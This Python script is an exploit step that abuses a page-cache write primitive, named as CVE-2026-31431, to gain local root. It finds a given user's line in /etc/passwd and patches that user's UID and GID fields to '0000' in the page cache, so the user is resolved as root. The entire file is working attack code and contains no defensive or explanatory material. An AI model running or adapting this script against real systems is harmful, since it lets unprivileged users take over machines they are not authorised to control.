#!/usr/bin/env python3
"""Strategy 2: corrupt /etc/passwd in the page cache so the unprivileged
principal's UID field reads 0, using the CVE-2026-31431 page-cache write
primitive. Run as the unprivileged actor (lowpriv). Does NOT verify success."""
import os
import sys
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import pagecache_write as pcw

PASSWD = "/etc/passwd"
USER = sys.argv[1] if len(sys.argv) > 1 else "lowpriv"

data = open(PASSWD, "rb").read()
# locate "<user>:x:" then the UID field that follows
needle = (USER + ":x:").encode()
i = data.find(needle)
if i < 0:
    print("user line not found", file=sys.stderr)
    sys.exit(2)
uid_off = i + len(needle)
# UID field runs until the next ':'
colon = data.find(b":", uid_off)
uid_field = data[uid_off:colon]
print("user=%s uid_field=%r at offset %d (line offset %d)" % (USER, uid_field, uid_off, i))

# Overwrite a 4-byte window at the UID field with "0000". The UID field here is
# exactly "1001" (4 bytes); writing "0000" makes NSS parse uid 0.
assert len(uid_field) == 4, "expected a 4-digit UID field, got %r" % uid_field
pcw.patch(PASSWD, uid_off, b"0000")

# Also zero the GID field (next ":" delimited field, also 4 bytes here) for a
# clean root identity.
gid_off = colon + 1
colon2 = data.find(b":", gid_off)
gid_field = data[gid_off:colon2]
print("gid_field=%r at offset %d" % (gid_field, gid_off))
if len(gid_field) == 4:
    pcw.patch(PASSWD, gid_off, b"0000")

print("page-cache patch issued for %s UID/GID -> 0000" % USER)
